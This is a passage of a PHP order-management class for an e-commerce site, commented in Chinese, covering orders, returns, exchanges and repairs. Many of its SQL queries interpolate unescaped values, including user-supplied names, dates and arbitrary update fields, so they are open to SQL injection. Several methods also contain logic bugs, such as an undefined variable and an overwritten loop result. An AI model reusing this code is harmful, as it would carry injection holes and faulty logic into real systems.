getMemberReturnOrderStatusNameByStatusID($returnOrderStatusID) { if (!$returnOrderStatusID) { return false; } $statusName = parent::getOrderStatusNameByOrderStatusID('MemberReturnOrder' , $returnOrderStatusID); return $statusName; } /** * 获得换货订单状态 * @param [type] $returnOrderStatusID [description] * @return [type] [description] */ public function getMemberExchangeOrderStatusNameByStatusID($exchangeOrderStatusID) { if (!$exchangeOrderStatusID) { return false; } $statusName = parent::getOrderStatusNameByOrderStatusID('MemberExchangeOrder' , $exchangeOrderStatusID); return $statusName; } /** * 获得返修订单状态 * @param [type] $returnOrderStatusID [description] * @return [type] [description] */ public function getMemberRepairOrderStatusNameByStatusID($repairOrderStatusID) { if (!$repairOrderStatusID) { return false; } $statusName = parent::getOrderStatusNameByOrderStatusID('MemberRepairOrder' , $repairOrderStatusID); return $statusName; } /** * 获得支付方式的名称 * @param [type] $payTypeID [description] * @return [type] [description] */ public function getMemberPayTypeNameByPayTypeID($payTypeID) { $payTypeName = parent::getPayTypeNameByPayTypeID('MemberOrder',$payTypeID); return $payTypeName; } /** * 根据订单状态获得操作的权限。 * @param [type] $orderStatusID [description] * @return [type] [description] */ public function getOperaterByMemberOrderStatusID($orderStatusID) { // 待付款,且付款方式为线上支付的,等待付款,2小时候自动取消。 if ($orderStatusID) { # code... } // 待付款,且支付方式为货到付款,准备发货。 if ($orderStatusID) { # code... } // } /** * 获得订单列表可以进行操作的列表。 * @param [type] $orderStatusID [description] * @return [type] [description] */ public function getOperatorList($orderStatusID) { $operatorList = array( 'canView'=>1, 'canVerify'=>null, 'canCancel'=>null, 'canReturn'=>null, 'canRepair'=>null, 'canExchange'=>null, 'canPay'=>null, 'canConfirm'=>null ); $verifyGroup = array( parent::MEMBERORDERSTATUS_UNAUDIT ); $cancleGroup = array( parent::MEMBERORDERSTATUS_SAVE, parent::MEMBERORDERSTATUS_UNPAY, parent::MEMBERORDERSTATUS_UNAUDIT, parent::MEMBERORDERSTATUS_AUDIT_SUCCESS, parent::MEMBERORDERSTATUS_AUDIT_FAILURE, parent::MEMBERORDERSTATUS_PAYOFF ); $returnGroup = array( parent::MEMBERORDERSTATUS_RECEIVED ); $repairGroup = array( parent::MEMBERORDERSTATUS_RECEIVED ); $exchangeGroup = array( parent::MEMBERORDERSTATUS_RECEIVED ); $payGroup = array( parent::MEMBERORDERSTATUS_UNPAY ); $canConfirm = array( parent::MEMBERORDERSTATUS_DELIVERY ); if (in_array($orderStatusID, $verifyGroup)) { $operatorList['canVerify'] = 1; } if (in_array($orderStatusID, $cancleGroup)) { $operatorList['canCancel'] = 1; } if (in_array($orderStatusID, $returnGroup)) { $operatorList['canReturn'] = 1; } if (in_array($orderStatusID, $repairGroup)) { $operatorList['canRepair'] = 1; } if (in_array($orderStatusID, $exchangeGroup)) { $operatorList['canExchange'] = 1; } if (in_array($orderStatusID, $payGroup)) { $operatorList['canPay'] = 1; } if (in_array($orderStatusID, $confirmGroup)) { $operatorList['canConfirm'] = 1; } // $operatorList = array_filter($operatorList); return $operatorList; } /** * 获得简要数据 * @param [type] $memberOrderID [description] * @return [type] [description] */ public function getSimpleData($memberOrderID) { $sql = "select MemberOrderID, PayTypeID, PayAmount, AddTime from MemberOrder where MemberOrderID = {$memberOrderID}"; $simpleData = $this->_db->getToArray($sql); return $simpleData; } /** * 获得某个用户的来自订单的积分消耗记录,订单状态是从待付款到签收成功后的状态,甚至包括申请退换货的。 * @return [type] [description] */ public function getMemberOrderScoreInfo($memberOrderIDList) { if (!is_array($memberOrderIDList) || count($memberOrderIDList) == 0) { return false; } $memberOrderIDListStr = '(' . implode(',', $memberOrderIDList) . ')'; $consumeScoreStatus = $this->_getScoreConsumeStatus(); $statusStr = '(' . implode(',',$consumeScoreStatus) . ')'; $where = " where ScoreCount > 0 and MemberOrderID in {$memberOrderIDListStr} and MemberOrderStatusID in {$statusStr}"; $sql = "select MemberOrderID,TotalAmount,PayAmount,ScoreCount,ScorePayAmount from MemberOrder {$where}"; $resource = $this->_db->loadToArray($sql,'MemberOrderID'); return $resource; } public function getMemberOrderGoodsSNString($coreOrderID) { $goodsSNString = ''; $goodsSN = array(); if (!$coreOrderID) { return false; } $goodsSNList = $this->getMemberOrderGoodsSNList($coreOrderID); foreach ($goodsSNList as $key => $item) { $goodsSN[] = $item['GoodsSN']; } $goodsSNString = implode(',', $goodsSN); return $goodsSNString; } public function getMemberOrderGoodsSNList($coreOrderID) { if (!$coreOrderID) { return false; } $sql = "select GoodsSN from CoreOrderGoods where CoreOrderID = {$coreOrderID}"; $goodsSNList = $this->_db->loadToArray($sql); return $goodsSNList; } /********* 私有几个方法 *********/ /** * 添加到用户订单表中。 * @param [type] $orderInfo [description] */ private function _addMemberOrder(& $orderInfo, $coreOrderID) { $memberOrder['CoreOrderID'] = (int)$coreOrderID; $memberOrder['AgentID'] = (int)$orderInfo['AgentID']; $memberOrder['StoreID'] = (int)$orderInfo['StoreID']; $memberOrder['MemberID'] = (int)$orderInfo['MemberID']; $memberOrder['SourceTypeID'] = (int)$orderInfo['SourceTypeID']; $memberOrder['TotalAmount'] = (float)$orderInfo['TotalAmount']; $memberOrder['PayAmount'] = (float)$orderInfo['PayAmount']; $memberOrder['DeliveryFee'] = (float)$orderInfo['DeliveryFee']; $memberOrder['PayDeliveryFee'] = (float)$orderInfo['PayDeliveryFee']; $memberOrder['ScorePayAmount'] = (float)$orderInfo['ScorePayAmount']; $memberOrder['ScoreCount'] = (int)$orderInfo['ScoreCount']; $memberOrder['CashCouponsPayAmount'] = (float)$orderInfo['CashCouponsPayAmount']; $memberOrder['DisaccountTotalAmount'] = (float)$orderInfo['DisaccountTotalAmount']; $memberOrder['CashCouponsPayAmount'] = (float)$orderInfo['CashCouponsPayAmount']; $memberOrder['DisaccountTotalAmount'] = (float)$orderInfo['DisaccountTotalAmount']; $memberOrder['PayTypeID'] = (int)$orderInfo['PayTypeID']; $memberOrder['Memo'] = $orderInfo['Memo']; $memberOrder['ReceiverName'] = $orderInfo['ReceiverName']; $memberOrder['ReceiverMobile'] = $orderInfo['ReceiverMobile']; $memberOrder['ProvinceID'] = (int)$orderInfo['ProvinceID']; $memberOrder['CityID'] = (int)$orderInfo['CityID']; $memberOrder['AreaID'] = (int)$orderInfo['AreaID']; $memberOrder['Address'] = $orderInfo['Address']; $memberOrder['MemberOrderStatusID'] = (int)$orderInfo['MemberOrderStatusID']; $memberOrder['LogisticsCompanyID'] = (int)$orderInfo['LogisticsCompanyID']; $memberOrder['LogisticsNumber'] = $orderInfo['LogisticsNumber']; $memberOrder['MemberOrderSource'] = (int)$orderInfo['MemberOrderSource']; $memberOrder['InvoiceTypeID'] = (int)$orderInfo['InvoiceTypeID']; $memberOrder['InvoiceTitle'] = $orderInfo['InvoiceTitle']; $memberOrder['InvoiceContent'] = $orderInfo['InvoiceContent']; $memberOrder['AddTime'] = date('Y-m-d H:i:s'); // @todo 判断 TotalAmount PayAmount ScorePayAmount 之间的关系是否是融洽的。否则,报错。 $memberOrderID = $this->_db->saveFromArray('MemberOrder', $memberOrder); unset($memberOrder); return $memberOrderID; } public function _modifyMemberOrder($memberOrderID, & $orderInfo) { if (!$memberOrderID) { return false; } $memberOrder = $orderInfo; $memberOrder['MemberOrderID'] = $memberOrderID; // @todo 判断 TotalAmount PayAmount ScorePayAmount 之间的关系是否是融洽的。否则,报错。 $memberOrderID = $this->_db->saveFromArray('MemberOrder', $memberOrder); unset($memberOrder); return $memberOrderID; } /** * 更改订单状态 * @param [type] $targetStatus [description] * @return [type] [description] */ public function _changeMemberOrderStatus($memberOrderID, $targetStatus, $debug = false) { if (!$memberOrderID) { return false; } $sql = "update MemberOrder set MemberOrderStatusID = {$targetStatus} where MemberOrderID = {$memberOrderID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } // 同时更改冗余在核心订单里的状态值。 $result = $this->_changeCoreOrderStatus('MemberOrder', $memberOrderID, $targetStatus); if (!$result) { return false; } return true; } /** * 更改核心订单状态。。 * @param [type] $sourceName [description] * @param [type] $sourceID [description] * @param [type] $targetStatus [description] * @return [type] [description] */ public function _changeCoreOrderStatus($sourceName, $sourceID, $targetStatus) { // 同时更改冗余在核心订单里的状态值。 $sql = "update CoreOrder set OrderStatusID = {$targetStatus} where SourceName = '{$sourceName}' and SourceID = {$sourceID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } /** * 更新MemberOrder的某些字段 * */ private function _updateMemberOrder($fieldValue, $memberOrderID) { $set = ''; foreach ($fieldValue as $field => $value) { $set = " {$field} = '{$value}',"; } if (!$set) { return true; } $set = " set" . $set; $set = rtrim($set, ','); $sql = "update MemberOrder {$set} where MemberOrderID = {$memberOrderID}"; $result = $this->_db->query($sql); return $result; } /** * 更改退货单订单状态 * @param [type] $targetStatus [description] * @return [type] [description] */ private function _changeMemberReturnOrderStatus($memberReturnOrderID, $targetStatus) { if (!$memberReturnOrderID) { return false; } $sql = "update MemberReturnOrder set MemberReturnOrderStatusID = {$targetStatus} where MemberReturnOrderID = {$memberReturnOrderID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } // 同时更改冗余在核心订单里的状态值。 $result = $this->_changeCoreOrderStatus('MemberReturnOrder', $memberReturnOrderID, $targetStatus); if (!$result) { return false; } return true; } /** * 更改换货单订单状态 * @param [type] $targetStatus [description] * @return [type] [description] */ private function _changeMemberExchangeOrderStatus($memberExchangeOrderID, $targetStatus) { if (!$memberExchangeOrderID) { return false; } $sql = "update MemberExchangeOrder set MemberExchangeOrderStatusID = {$targetStatus} where MemberExchangeOrderID = {$memberExchangeOrderID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } // 同时更改冗余在核心订单里的状态值。 $result = $this->_changeCoreOrderStatus('MemberExchangeOrder', $memberExchangeOrderID, $targetStatus); if (!$result) { return false; } return true; } /** * 更改退货单订单状态 * @param [type] $targetStatus [description] * @return [type] [description] */ private function _changeMemberRepairOrderStatus($memberRepairOrderID, $targetStatus) { if (!$memberRepairOrderID) { return false; } $sql = "update MemberRepairOrder set MemberRepairOrderStatusID = {$targetStatus} where MemberRepairOrderID = {$memberRepairOrderID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } // 同时更改冗余在核心订单里的状态值。 $result = $this->_changeCoreOrderStatus('MemberRepairOrder', $memberRepairOrderID, $targetStatus); if (!$result) { return false; } return true; } public function getCoreOrderIDByMemberOrderID($memberOrderID) { if (!$memberOrderID) { return false; } $coreOrderID = $this->_getCoreOrderIDByMemberOrderID($memberOrderID); return $coreOrderID; } /** * 获取核心订单ID根据用户购买订单ID。 * @param [type] $memberOrderID [description] * @return [type] [description] */ private function _getCoreOrderIDByMemberOrderID($memberOrderID) { $where = " where SourceID = {$memberOrderID} and SourceName = 'MemberOrder'"; $sql = "select CoreOrderID from CoreOrder {$where}"; $result = $this->_db->getToArray($sql); $coreOrderID = $result['CoreOrderID']; return $coreOrderID; } /** * 获取用户订单ID。CoreOrderID * @param [type] $memberOrderID [description] * @return [type] [description] */ public function _getMemberOrderIDByCoreOrderID($coreOrderID) { $where = " where CoreOrderID = {$coreOrderID} and SourceName = 'MemberOrder'"; $sql = "select SourceID from CoreOrder {$where}"; $result = $this->_db->getToArray($sql); $memberOrderID = $result['SourceID']; return $memberOrderID; } /** * 获取用户订单ID。MemberReturnOrderID * @param [type] $memberOrderID [description] * @return [type] [description] */ private function _getMemberOrderIDByMemberReturnOrderID($memberReturnOrderID) { $where = " where MemberReturnOrderID = {$memberReturnOrderID}"; $sql = "select MemberOrderID from MemberReturnOrder {$where}"; $result = $this->_db->getToArray($sql); $memberOrderID = $result['MemberOrderID']; return $memberOrderID; } /** * 获取用户订单ID。MemberRepairOrderID * @param [type] $memberOrderID [description] * @return [type] [description] */ private function _getMemberOrderIDByMemberRepairOrderID($memberRepairOrderID) { $where = " where MemberRepairOrderID = {$memberRepairOrderID}"; $sql = "select MemberOrderID from MemberRepairOrder {$where}"; $result = $this->_db->getToArray($sql); $memberOrderID = $result['MemberOrderID']; return $memberOrderID; } /** * 获取用户订单ID。MemberExchangeOrderID * @param [type] $memberOrderID [description] * @return [type] [description] */ private function _getMemberOrderIDByMemberExchangeOrderID($memberExchangeOrderID) { $where = " where MemberExchangeOrderID = {$memberExchangeOrderID}"; $sql = "select MemberOrderID from MemberExchangeOrder {$where}"; $result = $this->_db->getToArray($sql); $memberOrderID = $result['MemberOrderID']; return $memberOrderID; } /** * 生成购货订单的搜索条件 * @param array $condition [description] * @return [type] [description] */ private function _generateMemberOrderWhereCondition($condition = array()) { $prepareCondition = array( 'MemberID' => null, 'CoreOrderID' => null, 'MemberOrderStatusID' => null, 'SourceTypeID' => null, 'StoreID'=>null, 'AgentID'=>null, 'MemberOrderID'=>null, 'ReceiverName'=>null, 'ReceiverMobile'=>null, 'StartAddTime'=>null, 'EndAddTime'=>null, 'MemberReturnOrderStatusID'=>null, 'MemberExchangeOrderStatusID'=>null, 'MemberRepairOrderStatusID'=>null ); $group = array(); $group['intGroup'] = array('StoreID','MemberReturnOrderStatusID','MemberExchangeOrderStatusID','MemberRepairOrderStatusID'); $group['intOrArrayGroup'] = array('CoreOrderID','MemberID','AgentID','MemberOrderStatusID','SourceTypeID','MemberOrderID'); $group['stringGroup'] = array('ReceiverName','ReceiverMobile'); $where = $this->_generateWhereCondition($condition,$prepareCondition,$group); return $where; } private function _generateMemberGoodsWhereCondition($condition = array()) { $prepareCondition = array( 'MemberID' => null, 'MemberOrderStatusID' => null, 'SourceTypeID' => null, 'StoreID'=>null, 'AgentID'=>null, 'MemberOrderID'=>null ); $group = array(); $group['intGroup'] = array('MemberID','StoreID','AgentID','MemberOrderID'); $group['intOrArrayGroup'] = array('MemberOrderStatusID','SourceTypeID'); $where = $this->_generateWhereCondition($condition,$prepareCondition,$group); return $where; } /** * 生成购货订单的搜索条件 * @param array $condition [description] * @return [type] [description] */ private function _generateMemberReturnOrderWhereCondition($condition = array()) { $prepareCondition = array( 'MemberReturnOrderID' => null, 'MemberOrderID' => null, 'MemberReturnOrderStatusID'=>null, 'StartAddTime'=>null, 'EndAddTime'=>null, 'MemberID'=>null, 'AgentID'=>null, 'GoodsEntityID'=>null ); $group = array(); $group['intGroup'] = array('MemberReturnOrderID','MemberID','StoreID','AgentID'); $group['intOrArrayGroup'] = array('MemberReturnOrderStatusID','MemberOrderStatusID','SourceTypeID','MemberOrderID','GoodsEntityID'); $group['stringGroup'] = array('ReceiverName','ReceiverMobile'); $where = $this->_generateWhereCondition($condition,$prepareCondition,$group); return $where; } /** * 生成换货订单的搜索条件 * @param array $condition [description] * @return [type] [description] */ private function _generateMemberExchangeOrderWhereCondition($condition = array()) { $prepareCondition = array( 'MemberExchangeID' => null, 'MemberExchangeOrderStatusID'=>null, 'StartAddTime'=>null, 'EndAddTime'=>null ); $group = array(); $group['intGroup'] = array('MemberID','StoreID','AgentID','MemberReturnOrderStatusID','MemberExchangeOrderStatusID','MemberRepairOrderStatusID'); $group['intOrArrayGroup'] = array('MemberOrderStatusID','SourceTypeID','MemberOrderID'); $group['stringGroup'] = array('ReceiverName','ReceiverMobile'); $where = $this->_generateWhereCondition($condition,$prepareCondition,$group); return $where; } /** * 生成返修订单的搜索条件 * @param array $condition [description] * @return [type] [description] */ private function _generateMemberRepairOrderWhereCondition($condition = array()) { $prepareCondition = array( 'MemberRepairID' => null, 'MemberRepairOrderStatusID'=>null, 'StartAddTime'=>null, 'EndAddTime'=>null ); $group = array(); $group['intGroup'] = array('MemberID','StoreID','AgentID','MemberReturnOrderStatusID','MemberExchangeOrderStatusID','MemberRepairOrderStatusID'); $group['intOrArrayGroup'] = array('MemberOrderStatusID','SourceTypeID','MemberOrderID'); $group['stringGroup'] = array('ReceiverName','ReceiverMobile'); $where = $this->_generateWhereCondition($condition,$prepareCondition,$group); return $where; } /** * 生成 where 条件的sql语句 * @param array $condition [description] * @return [type] [description] */ private function _generateWhereCondition($condition = array(),$prepareCondition,$group) { $where = ""; $isValidCondition = 0; $prepareCondition = $prepareCondition; foreach ($prepareCondition as $key => $value) { if ($condition[$key] != null) { $isValidCondition = 1; $prepareCondition[$key] = $condition[$key]; } else { unset($prepareCondition[$key]); } } $intGroup = $group['intGroup']; $intOrArrayGroup = $group['intOrArrayGroup']; $stringGroup = $group['stringGroup']; if ($isValidCondition) { foreach ($prepareCondition as $field => $constraint) { if (in_array($field, $intGroup)) { $constraint = (int)$constraint; $where .= " and {$field} = {$constraint}"; } elseif (in_array($field, $intOrArrayGroup)) { $where .= $this->_generateIntOrArrayWhere($field, $constraint); } elseif (in_array($field, $stringGroup)) { $field = trim($field); $where .= " and {$field} = '{$constraint}'"; } elseif ($field == 'StartAddTime') { $where .= " and AddTime > '{$constraint}'"; } elseif ($field == 'EndAddTime') { $where .= " and AddTime <= '{$constraint}'"; } } } $where = $this->_db->whereAdd($where); return $where; } /** * 有些字段同时支持标量和数组,做如下封装,以供 _generateMemberOrderWhereCondition() 方法使用。 * @param [type] $param [description] * @return [type] [description] */ private function _generateIntOrArrayWhere($field, $constraint) { if (is_array($constraint) && count($constraint) > 0) { $constraint = "(" . implode(',', $constraint) . ")"; $where .= " and {$field} in {$constraint}"; } else { $where .= " and {$field} = {$constraint}"; } return $where; } /** * 获得会导致积分消耗的操作,排除掉取消订单、退货成功这两种情况。 * @return [type] [description] */ private function _getScoreConsumeStatus() { $array = array( parent::MEMBERORDERSTATUS_UNPAY, parent::MEMBERORDERSTATUS_UNAUDIT, parent::MEMBERORDERSTATUS_AUDIT_SUCCESS, parent::MEMBERORDERSTATUS_PAYOFF, parent::MEMBERORDERSTATUS_DELIVERY, parent::MEMBERORDERSTATUS_RECEIVED, parent::MEMBERORDERSTATUS_EVALUATED, parent::MEMBERORDERSTATUS_APPLY_REJECT, parent::MEMBERORDERSTATUS_REJECT_FAILURE, parent::MEMBERORDERSTATUS_APPLY_BARTER, parent::MEMBERORDERSTATUS_BARTER_SUCCESS, parent::MEMBERORDERSTATUS_BARTER_FAILURE ); return $array; } /** * 添加退货信息。 * @param [type] $memberReturnOrderInfo [description] */ private function _addMemberReturnOrder($rejectInfo) { $memberReturnOrder['CoreOrderID'] = (int)$rejectInfo['CoreOrderID']; $memberReturnOrder['MemberOrderID'] = (int)$rejectInfo['MemberOrderID']; $memberReturnOrder['GoodsID'] = (int)$rejectInfo['GoodsID']; $memberReturnOrder['GoodsCount'] = (int)$rejectInfo['GoodsCount']; $memberReturnOrder['ReturnLogisticCompanyID'] = (int)$rejectInfo['ReturnLogisticCompanyID']; $memberReturnOrder['ReturnLogisticNumber'] = $rejectInfo['ReturnLogisticNumber']; $memberReturnOrder['ReturnAmount'] = (float)$rejectInfo['ReturnAmount']; $memberReturnOrder['ResonTypeID'] = (int)$rejectInfo['ResonTypeID']; $memberReturnOrder['OperatorID'] = (int)$rejectInfo['ResonTypeID']; $memberReturnOrder['OperatorSourceID'] = (int)$rejectInfo['OperatorSourceID']; $memberReturnOrder['OperatorSourceTypeID'] = (int)$rejectInfo['OperatorSourceTypeID']; $memberReturnOrder['Memo'] = $rejectInfo['Memo'] ? $rejectInfo['Memo'] : '无备注信息'; $memberReturnOrder['AddTime'] = date('Y-m-d H:i:s'); $memberReturnOrder['MemberReturnOrderStatusID'] = parent::MEMBERRETURNORDERSTATUS_APPLY; $returnOrderID = $this->_db->saveFromArray('MemberReturnOrder',$memberReturnOrder); if (!$returnOrderID) { return false; } else { return $returnOrderID; } } /* 添加换货订单 */ private function _addMemberExchangeOrder($barterInfo) { $memberExchangeOrder['CoreOrderID'] = (int)$barterInfo['CoreOrderID']; $memberExchangeOrder['MemberOrderID'] = (int)$barterInfo['MemberOrderID']; $memberExchangeOrder['GoodsID'] = (int)$barterInfo['GoodsID']; $memberExchangeOrder['GoodsCount'] = (int)$barterInfo['GoodsCount']; $memberExchangeOrder['ReceiverName'] = $barterInfo['ReceiverName']; $memberExchangeOrder['ReceiverMobile'] = $barterInfo['ReceiverMobile']; $memberExchangeOrder['ReceiverProvinceID'] = (int)$barterInfo['ReceiverProvinceID']; $memberExchangeOrder['ReceiverCityID'] = (int)$barterInfo['ReceiverCityID']; $memberExchangeOrder['ReceiverAreaID'] = (int)$barterInfo['ReceiverAreaID']; $memberExchangeOrder['ReceiverAddress'] = $barterInfo['ReceiverAddress']; $memberExchangeOrder['ReturnLogisticCompanyID'] = (int)$barterInfo['ReturnLogisticCompanyID']; $memberExchangeOrder['ReturnNumber'] = $barterInfo['ReturnNumber']; $memberExchangeOrder['SenderName'] = $barterInfo['SenderName']; $memberExchangeOrder['SenderMobile'] = $barterInfo['SenderMobile']; $memberExchangeOrder['SenderProvinceID'] = (int)$barterInfo['SenderProvinceID']; $memberExchangeOrder['SenderCityID'] = (int)$barterInfo['SenderCityID']; $memberExchangeOrder['SenderAreaID'] = (int)$barterInfo['SenderAreaID']; $memberExchangeOrder['SenderAddress'] = $barterInfo['SenderAddress']; $memberExchangeOrder['SenderLogisticCompanyID'] = (int)$barterInfo['SenderLogisticCompanyID']; $memberExchangeOrder['SendLogisticNumber'] = $barterInfo['SendLogisticNumber']; $memberExchangeOrder['ExchangeReasonID'] = (int)$barterInfo['ExchangeReasonID']; $memberExchangeOrder['ExchangeMemo'] = $barterInfo['ExchangeMemo']; $memberExchangeOrder['AddTime'] = date('Y-m-d H:i:s'); $memberExchangeOrder['MemberExchangeOrderStatusID'] = parent::MEMBEREXCHANGEORDERSTATUS_APPLY; $returnOrderID = $this->_db->saveFromArray('MemberExchangeOrder',$memberExchangeOrder); if (!$returnOrderID) { return false; } else { return $returnOrderID; } } /* 添加换货订单 */ private function _addMemberRepairOrder($barterInfo) { $memberRepairOrder['CoreOrderID'] = (int)$barterInfo['CoreOrderID']; $memberRepairOrder['MemberOrderID'] = (int)$barterInfo['MemberOrderID']; $memberRepairOrder['GoodsID'] = (int)$barterInfo['GoodsID']; $memberRepairOrder['GoodsCount'] = (int)$barterInfo['GoodsCount']; $memberRepairOrder['ReceiverName'] = $barterInfo['ReceiverName']; $memberRepairOrder['ReceiverMobile'] = $barterInfo['ReceiverMobile']; $memberRepairOrder['ReceiverProvinceID'] = (int)$barterInfo['ReceiverProvinceID']; $memberRepairOrder['ReceiverCityID'] = (int)$barterInfo['ReceiverCityID']; $memberRepairOrder['ReceiverAreaID'] = (int)$barterInfo['ReceiverAreaID']; $memberRepairOrder['ReceiverAddress'] = $barterInfo['ReceiverAddress']; $memberRepairOrder['ReturnLogisticCompanyID'] = (int)$barterInfo['ReturnLogisticCompanyID']; $memberRepairOrder['ReturnNumber'] = $barterInfo['ReturnNumber']; $memberRepairOrder['SenderName'] = $barterInfo['SenderName']; $memberRepairOrder['SenderMobile'] = $barterInfo['SenderMobile']; $memberRepairOrder['SenderProvinceID'] = (int)$barterInfo['SenderProvinceID']; $memberRepairOrder['SenderCityID'] = (int)$barterInfo['SenderCityID']; $memberRepairOrder['SenderAreaID'] = (int)$barterInfo['SenderAreaID']; $memberRepairOrder['SenderAddress'] = $barterInfo['SenderAddress']; $memberRepairOrder['SenderLogisticCompanyID'] = (int)$barterInfo['SenderLogisticCompanyID']; $memberRepairOrder['SendLogisticNumber'] = $barterInfo['SendLogisticNumber']; $memberRepairOrder['RepairReasonID'] = (int)$barterInfo['RepairReasonID']; $memberRepairOrder['RepairMemo'] = $barterInfo['RepairMemo']; $memberRepairOrder['AddTime'] = date('Y-m-d H:i:s'); $memberRepairOrder['MemberRepairOrderStatusID'] = parent::MEMBERREPAIRORDERSTATUS_APPLY; $repairOrderID = $this->_db->saveFromArray('MemberRepairOrder',$memberRepairOrder); if (!$repairOrderID) { return false; } else { return $repairOrderID; } } /** * 添加退货审核信息。 * @param [type] $adminID [description] * @param [type] $verifyResult [description] */ private function _addRejectVerifyResult($adminID, $verifyResult) { $verifyResult['MemberExchangeOrderID'] = $verifyResult['MemberExchangeOrderID']; $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = $verifyResult['ResultID']; $verifyResult['Memo'] = $verifyResult['Memo']; $verifyResult['AdminID'] = $adminID; $verifyResult['AddTime'] = date('Y-m-d H:i:s'); $result = $this->_db->saveFromArray('MemberReturnOrderVerifyRecord',$verifyResult); if (!$result) { return false; } else { return true; } } /** * 添加退货审核信息。 * @param [type] $adminID [description] * @param [type] $verifyResult [description] */ private function _addBarterVerifyResult($adminID, $verifyResult) { $verifyResult['MemberExchangeOrderID'] = $verifyResult['MemberExchangeOrderID']; $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = $verifyResult['ResultID']; $verifyResult['Memo'] = $verifyResult['Memo']; $verifyResult['AdminID'] = $adminID; $verifyResult['AddTime'] = date('Y-m-d H:i:s'); $result = $this->_db->saveFromArray('MemberExchangeOrderVerifyRecord',$verifyResult); if (!$result) { return false; } else { return true; } } /** * 添加返修审核信息。 * @param [type] $adminID [description] * @param [type] $verifyResult [description] */ private function _addRepairVerifyResult($adminID, $verifyResult) { $verifyResult['MemberRepairOrderID'] = $verifyResult['MemberRepairOrderID']; $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = $verifyResult['ResultID']; $verifyResult['Memo'] = $verifyResult['Memo']; $verifyResult['AdminID'] = $adminID; $verifyResult['AddTime'] = date('Y-m-d H:i:s'); $result = $this->_db->saveFromArray('MemberRepairOrderVerifyRecord',$verifyResult); if (!$result) { return false; } else { return true; } } /* 检查某个用户订单是否已经存在退货行为了 */ private function _isAlreadyReject($memberOrderID) { $sql = "select count(*) as Count from MemberReturnOrder where MemberOrderID = {$memberOrderID}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; if ($count > 0) { return true; } else { return false; } } /* 检查某个用户订单是否已经存在换货行为了 */ private function _isAlreadyExchange($memberOrderID) { $sql = "select count(*) as Count from MemberExchangeOrder where MemberOrderID = {$memberOrderID}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; if ($count > 0) { return true; } else { return false; } } /* 检查某个用户订单是否已经存在返修行为了 */ private function _isAlreadyRepair($memberOrderID) { $sql = "select count(*) as Count from MemberRepairOrder where MemberOrderID = {$memberOrderID}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; if ($count > 0) { return true; } else { return false; } } /** * 根据 其他表获得 MemberOrderID * @param [type] $sourceName [description] * @param [type] $list [description] * @return [type] [description] */ private function _getMemberOrderListByOther($sourceName, $idListString) { $field = $sourceName . 'ID'; $sql = "select {$field},MemberOrderID from {$sourceName} where $field in {$idListString}"; $result = $this->_db->loadToArray($sql,$field,'MemberOrderID'); return $result; } /************** 静态几个方法 *************/ public static function getMemberOrderStatusIDByType($type) { if ($type == 'all') { $memberOrderStatusID = null; } elseif ($type == 'pay') { $memberOrderStatusID = self::MEMBERORDERSTATUS_UNPAY; } elseif ($type == 'deliver') { $memberOrderStatusID = array( self::MEMBERORDERSTATUS_UNAUDIT, self::MEMBERORDERSTATUS_AUDIT_SUCCESS, self::MEMBERORDERSTATUS_PAYOFF, self::MEMBERORDERSTATUS_DELIVERY ); } elseif ($type == 'complete') { $memberOrderStatusID = array( self::MEMBERORDERSTATUS_RECEIVED, self::MEMBERORDERSTATUS_EVALUATED, self::MEMBERORDERSTATUS_APPLY_REJECT, self::MEMBERORDERSTATUS_REJECT_SUCCESS, self::MEMBERORDERSTATUS_REJECT_FAILURE, self::MEMBERORDERSTATUS_REJECT_GOODS_SUCCESS, self::MEMBERORDERSTATUS_REJECT_FUND_SUCCESS, self::MEMBERORDERSTATUS_REJECT_PART_GOODS_SUCCESS, self::MEMBERORDERSTATUS_APPLY_BARTER, self::MEMBERORDERSTATUS_BARTER_SUCCESS, self::MEMBERORDERSTATUS_BARTER_FAILURE, self::MEMBERORDERSTATUS_BARTER_GOODS_SUCCESS, self::MEMBERORDERSTATUS_BARTER_PART_GOODS_SUCCESS, self::MEMBERORDERSTATUS_CANCLE, self::MEMBERORDERSTATUS_APPLY_REPAIR, self::MEMBERORDERSTATUS_REPAIR_SUCCESS, self::MEMBERORDERSTATUS_REPAIR_FAILURE, self::MEMBERORDERSTATUS_REPAIR_GOODS_SUCCESS, self::MEMBERORDERSTATUS_REPAIR_PART_GOODS_SUCCESS ); } elseif ($type == 'cancel') { $memberOrderStatusID = self::MEMBERORDERSTATUS_CANCLE; } else { $memberOrderStatusID = null; } return $memberOrderStatusID; } /** * 获得可以售后进行退返换的订单状态。 * @return [type] [description] */ public static function getAfterSaleOrderStatusIDList() { $afterSaleOrderStatusIDList = array( self::MEMBERORDERSTATUS_RECEIVED, self::MEMBERORDERSTATUS_EVALUATED, self::MEMBERORDERSTATUS_APPLY_REJECT, self::MEMBERORDERSTATUS_REJECT_SUCCESS, self::MEMBERORDERSTATUS_REJECT_FAILURE, self::MEMBERORDERSTATUS_REJECT_GOODS_SUCCESS, self::MEMBERORDERSTATUS_REJECT_FUND_SUCCESS, self::MEMBERORDERSTATUS_REJECT_PART_GOODS_SUCCESS, self::MEMBERORDERSTATUS_APPLY_BARTER, self::MEMBERORDERSTATUS_BARTER_SUCCESS, self::MEMBERORDERSTATUS_BARTER_FAILURE, self::MEMBERORDERSTATUS_BARTER_GOODS_SUCCESS, self::MEMBERORDERSTATUS_BARTER_PART_GOODS_SUCCESS, self::MEMBERORDERSTATUS_APPLY_REPAIR, self::MEMBERORDERSTATUS_REPAIR_SUCCESS, 